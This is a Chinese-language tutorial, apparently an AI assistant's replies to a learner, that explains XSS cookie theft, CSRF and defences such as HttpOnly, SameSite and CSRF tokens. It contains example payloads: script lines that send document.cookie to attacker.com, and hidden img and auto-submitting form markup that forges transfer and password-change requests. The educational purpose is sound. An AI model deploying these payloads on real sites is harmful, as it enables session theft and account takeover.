关于两种网络攻击方式XSS和CSRF
一、XSS攻击的核心流程
- 攻击注入
攻击者在网页中插入恶意脚本(如你提到的<script>fetch('http://attacker.com/steal?data='+document.cookie)</script>
),常见于评论区、URL参数等用户输入位置。 - 脚本执行
用户访问含恶意脚本的页面时,浏览器会自动执行该脚本(无需用户点击,存储型XSS会直接触发;反射型/DOM型需用户点击特定链接)。 - 窃取Cookie
脚本通过document.cookie
读取当前网站的Cookie(含会话ID),发送到攻击者服务器。 - 身份冒用
攻击者用窃取的Cookie冒充用户身份,执行敏感操作(如转账、改密码)。
🛡️ **二、HttpOnly的作用
-
核心机制
服务器在响应头中设置Cookie时添加HttpOnly
属性(如Set-Cookie: sessionId=abc123; HttpOnly
),浏览器会禁止JavaScript通过document.cookie
读取该Cookie。 -
防御效果
- ✅ 即使XSS漏洞存在,恶意脚本也无法窃取标记为
HttpOnly
的Cookie(如会话ID)。 - ❌ 但XSS攻击仍可能造成其他危害(如篡改页面内容、发起钓鱼请求),HttpOnly仅解决Cookie窃取问题。
- ✅ 即使XSS漏洞存在,恶意脚本也无法窃取标记为
⚠️ 三、需修正的关键细节
-
XSS触发不一定需要用户点击
- 存储型XSS:用户访问被污染的页面即自动触发(如恶意评论)。
- 反射型/DOM型XSS:需用户点击恶意链接(如钓鱼邮件中的URL)。
-
HttpOnly不能完全阻止XSS攻击
- 仅防护Cookie窃取,但XSS仍可:
- 伪造页面内容(如植入虚假登录框钓鱼)。
- 发起未授权操作(如通过XSS调用转账API)。
- 仅防护Cookie窃取,但XSS仍可:
-
Cookie传输安全依赖其他属性
Secure
属性:强制Cookie仅通过HTTPS传输,防止中间人窃听。SameSite=Lax/Strict
:限制跨站请求携带Cookie,防御CSRF攻击。
csrf攻击的理解
浏览器确实严格执行同源策略,但同源策略的限制范围与CSRF攻击的利用方式存在关键差异。以下是详细分析:
🔒 一、同源策略对Cookie的限制
-
同源策略的核心规则
-
定义同源:协议、域名、端口完全一致(如
https://a.com:443
与https://a.com:443
同源)。Cookie访问限制
- 浏览器禁止
b.com
的JavaScript通过document.cookie
读取a.com
的Cookie(受同源策略保护)。 - 但同源窗口共享Cookie:若用户打开多个
a.com
的标签页,这些页面可共享同一Cookie。
- 浏览器禁止
-
-
Cookie的自动携带机制
-
当用户访问
a.com
时,浏览器会自动将a.com
的Cookie附加到请求头中,无论请求是否由用户主动触发(例如点击链接或加载图片)。跨域请求的例外:若
b.com向a.com 发起跨域请求,需满足:
- 服务器响应头包含
Access-Control-Allow-Origin: b.com
和Access-Control-Allow-Credentials: true
; - 客户端请求设置
credentials: 'include'
(Fetch API)或withCredentials: true
(XHR)。
💡 此时浏览器会携带Cookie,但
b.com
的JS仍无法读取Cookie内容。 - 服务器响应头包含
-
⚔️ 二、CSRF如何绕过同源策略伪造请求?
CSRF攻击不依赖读取Cookie,而是利用浏览器自动携带Cookie的机制:
-
攻击前提:
- 用户已登录
a.com
且会话未过期(Cookie有效)。 - 用户访问恶意网站
b.com
(通过钓鱼链接或广告诱导)。
- 用户已登录
-
攻击步骤:
-
伪造请求:
b.com
页面嵌入针对a.com
的恶意请求代码,例如:<!-- 伪造转账请求(GET) --> <img src="https://a.com/transfer?to=attacker&amount=10000" style="display:none;"><!-- 伪造表单提交(POST) --> <form action="https://a.com/change-password" method="POST"><input type="hidden" name="new_password" value="hacked"> </form> <script>document.forms[0].submit();</script>
-
浏览器自动携带Cookie:
当浏览器加载b.com
页面时,会自动执行上述代码,并向a.com
发送请求,同时携带用户的登录Cookie(因为目标域名是a.com
)。 -
服务器误判身份:
a.com
服务器收到携带合法Cookie的请求,误认为是用户操作,执行转账或改密码等敏感动作。
-
-
为何同源策略未阻止?
- 同源策略限制的是JS读取跨域Cookie,但不限制跨域请求的发送(如
<img>
、<form>
发起的请求)。 - 浏览器设计上允许跨域请求携带Cookie,这是CSRF漏洞的本质原因。
- 同源策略限制的是JS读取跨域Cookie,但不限制跨域请求的发送(如
🛡️ 三、防御CSRF的核心方法
针对浏览器自动携带Cookie的机制,需额外防护:
-
Anti-CSRF Token
- 服务端生成随机Token,嵌入表单或HTTP头(如
X-CSRF-Token
); - 请求时验证Token合法性(Token存储于Session而非Cookie)。
✅ 有效性:攻击者无法伪造Token(Token不随Cookie自动携带)。
- 服务端生成随机Token,嵌入表单或HTTP头(如
-
SameSite Cookie属性
- 设置
SameSite=Strict
:仅同站请求携带Cookie(完全禁止跨站携带)。 - 设置
SameSite=Lax
:允许安全跨域GET请求(如导航链接),阻止POST等非安全请求。
- 设置
-
补充方案
- 验证Referer/Origin头:拒绝来源非白名单域名的请求。
- 敏感操作二次验证:如短信验证码、生物识别。
💎 四、同源策略与CSRF的关系总结
行为 | 同源策略是否限制? | CSRF是否可利用? |
---|---|---|
JS读取 a.com 的Cookie | ✅ 禁止 | ❌ 无关 |
向 a.com 发送请求 | ❌ 不限制 | ✅ 可利用 |
跨域请求自动携带Cookie | ❌ 不限制(默认允许) | ✅ 核心利用点 |
🔐 关键结论:
- 同源策略保护了Cookie不被JS读取,但未限制请求的发送与Cookie的自动携带。
- CSRF正是利用了这一机制,通过伪造跨域请求触发浏览器自动携带Cookie,而非直接窃取Cookie。
- 防御需依赖 Token验证 或 SameSite属性 等额外措施。
浏览器携带Cookie的依据是请求的目标域名,而非当前所在网站的域名。以下是详细解释:
🔍 一、你的理解偏差点:谁在访问?携带谁的Cookie?
- B网站的角色:
B网站只是一个“跳板”,它通过HTML标签(如<img>
、<form>
)或JavaScript代码诱导浏览器向A网站发起请求,而不是B网站自身去访问A网站。 - 浏览器的行为:
当浏览器解析B网站的代码时,若发现需要请求A网站的URL(如<img src="https://a.com/transfer?to=attacker">
),它会自动检查本地存储的Cookie中属于a.com
的会话Cookie,并将其附加到请求头中。
✅ 本质是浏览器在访问A网站,而非B网站在访问!
⚙️ 二、Cookie携带的底层逻辑:浏览器如何决策?
浏览器是否携带Cookie取决于以下规则(以A网站的Cookie为例):
-
域名匹配:
请求的目标域名(如a.com
)必须与Cookie的Domain
属性一致(如Domain=.a.com
)。 -
路径匹配:
请求的路径(如/transfer
)需符合Cookie的Path
属性(如Path=/
)。 -
安全属性:
若Cookie设置了Secure
属性,则仅当请求通过HTTPS发送时才携带。 -
SameSite属性:
- 若A网站的Cookie未设置
SameSite=Strict
,浏览器允许在跨站请求(从B网站发往A网站)中携带Cookie。 - 若设置为
SameSite=Lax
,则仅允许安全跨域GET请求(如导航链接)携带。
例如:用户访问B网站(
b.com
)时,页面中嵌入了对A网站(a.com
)的请求。浏览器发现请求目标是a.com
,便自动附加a.com
的Cookie——完全不需要B网站的参与。
⚔️ 三、CSRF攻击流程还原(以转账为例)
-
用户登录A网站:
浏览器存储a.com
的会话Cookie(如session_id=123
)。 -
用户访问B网站:
B网站的页面包含恶意代码:
<!-- 隐藏图片伪造GET请求 -->
<img src="https://a.com/transfer?to=attacker&amount=10000" style="display:none;"><!-- 或自动提交表单伪造POST请求 -->
<form action="https://a.com/change-password" method="POST"><input type="hidden" name="new_password" value="hacked">
</form>
<script>document.forms[0].submit();</script>
- 浏览器执行恶意代码:
-
自动向
a.com
发起请求,并携带a.com
的Cookie(session_id=123
)。 -
此时请求头示例:
GET /transfer?to=attacker&amount=10000 HTTP/1.1 Host: a.com Cookie: session_id=123 // 浏览器自动添加!
- A网站处理请求:
服务器收到携带合法Cookie的请求,误认为是用户操作,执行转账或改密码。
🛡️ 四、为何同源策略(SOP)无法阻止CSRF?
- SOP的限制范围:
同源策略仅禁止JavaScript读取跨域请求的响应结果,但不阻止跨域请求的发送(如通过<img>
、<form>
发起的请求)。 - CSRF的绕过:
攻击者无需读取响应,只需利用浏览器自动携带Cookie的机制发送请求,即可达到攻击目的。
💎 五、核心总结:关键区分点
场景 | 请求发起方 | 携带的Cookie | 是否允许 |
---|---|---|---|
用户在A网站点击按钮 | A网站的JS代码 | A网站的Cookie | ✅ 同源请求 |
用户在B网站触发对A的请求 | B网站的HTML标签 | A网站的Cookie | ⚠️ 默认允许(SameSite未限制时) |
B网站JS读取A网站的Cookie | B网站的JS代码 | 无 | ❌ 同源策略禁止访问 |
简单比喻:
你(用户)在邮局(A网站)办了业务,获得一个专属印章(Cookie)。后来你去商场(B网站),商场里的人偷偷在你包里塞了一封寄给邮局的信(恶意请求)。当你路过邮局时,邮差(浏览器)看到信封上写着“寄给邮局”,便自动盖上你的印章(携带Cookie)送了过去——邮局无法分辨这封信是否出自你本意。
🔐 六、如何防御?关键措施
- Anti-CSRF Token:
在表单或请求头中添加随机Token(存储于Session而非Cookie),服务器验证Token合法性。 - SameSite Cookie:
设置SameSite=Strict
(完全禁止跨站携带)或SameSite=Lax
(仅允许安全GET请求)。 - 敏感操作二次验证:
如转账前需输入短信验证码或生物识别。
理解浏览器的Cookie自动携带机制,就能明白为何CSRF能“隔山打牛”。防御的关键在于让服务器能区分“真实用户操作”和“伪造请求” 🔐。
其实也就是xss的攻击原理是通过在本网站执行js代码来去获取cookie,而csrf是通过利用浏览器的同源缺陷(不同源获取不到cookie,但是在访问的时候会自动携带cookie),利用这一点,会携带cookie,从而也能进行不好的攻击
你的理解基本正确,但需要进一步明确两者的核心差异和攻击机制细节。以下是结合技术原理的精准解析:
🔍 一、XSS攻击原理:依赖脚本注入窃取信息
-
攻击本质:
- 攻击者将恶意JS代码注入到目标网站A的页面中(如评论区、搜索框),当其他用户访问该页面时,恶意脚本在用户浏览器执行。
- 脚本可直接读取同源资源(如当前域的Cookie、DOM数据),并通过
document.cookie
窃取会话信息。
-
攻击流程(以窃取Cookie为例):
// 恶意脚本示例:窃取Cookie并发送到攻击者服务器 var img = new Image(); img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
- 用户访问含恶意脚本的页面 → 脚本自动执行 → Cookie被发送到攻击者服务器。
-
关键点:
- 同源策略被绕过:恶意脚本与目标网站同源,因此能直接访问该域下的Cookie等敏感数据。
- 无需用户交互:存储型XSS在页面加载时自动触发。
⚔️ 二、CSRF攻击原理:利用浏览器自动携带Cookie机制
-
攻击本质:
- 攻击者诱导用户访问恶意网站B,B中嵌入针对网站A的伪造请求(如隐藏的
<img>
或自动提交的表单)。 - 浏览器向A发送请求时自动携带A的Cookie(因目标域名是A),但B无法读取A的Cookie内容。
- 攻击者诱导用户访问恶意网站B,B中嵌入针对网站A的伪造请求(如隐藏的
-
攻击流程(以转账为例):
<!-- 恶意网站B的代码:伪造向A的转账请求 --> <img src="https://a.com/transfer?to=attacker&amount=10000" style="display:none">
- 用户访问B → 浏览器加载伪造请求 → 携带A的Cookie发送给A → A误判为合法操作执行转账。
-
关键点:
同源策略的“漏洞” :
-
浏览器允许跨域发送请求(如
<img>
、<form>
发起的请求)。 -
浏览器默认在跨域请求中携带目标域Cookie(除非A的Cookie设置了
SameSite=Strict
)。 -
攻击者不直接获取Cookie:仅利用Cookie的自动携带机制冒用身份。
-
💎 三、你的理解 vs 技术事实对比
理解要点 | XSS | CSRF |
---|---|---|
是否在本站执行代码 | ✅ 恶意脚本在网站A页面执行 | ❌ 攻击代码在第三方网站B执行 |
能否直接读取Cookie | ✅ 通过JS直接读取同源Cookie | ❌ 仅触发携带Cookie,无法读取内容 |
依赖同源策略的哪部分 | ❌ 绕过同源策略(脚本与A同源) | ✅ 利用同源策略的请求携带规则 |
是否需要用户登录 | ❌ 无需登录(但登录后危害更大) | ✅ 必须已登录且会话未过期 |
🔐 总结:
- XSS:攻击者注入恶意脚本到目标网站,利用同源身份直接窃取Cookie或篡改页面。
- CSRF:攻击者在第三方网站伪造请求,利用浏览器自动携带Cookie的机制冒用身份操作,但无法获取Cookie内容。
🛡️ 四、防御机制差异
攻击类型 | 核心防御措施 |
---|---|
XSS | 1. 输入过滤/转义(如< 转义为< ) 2. 内容安全策略(CSP)限制脚本加载源 3. 设置Cookie为HttpOnly (防JS读取) |
CSRF | 1. 使用CSRF Token验证请求合法性 2. 设置Cookie为SameSite=Lax/Strict 3. 敏感操作二次认证(如短信验证) |
💡 你的认知升级:
你准确抓住了XSS窃取Cookie和CSRF冒用身份的核心,但需注意:
- XSS的危害远超Cookie窃取(如键盘记录、页面篡改);
- CSRF成功的关键是目标网站未防御自动携带Cookie的漏洞,而非同源策略本身有缺陷。
两者共同点:都利用了Web信任链的薄弱环节——XSS利用用户对网站的信任,CSRF利用网站对浏览器的信任。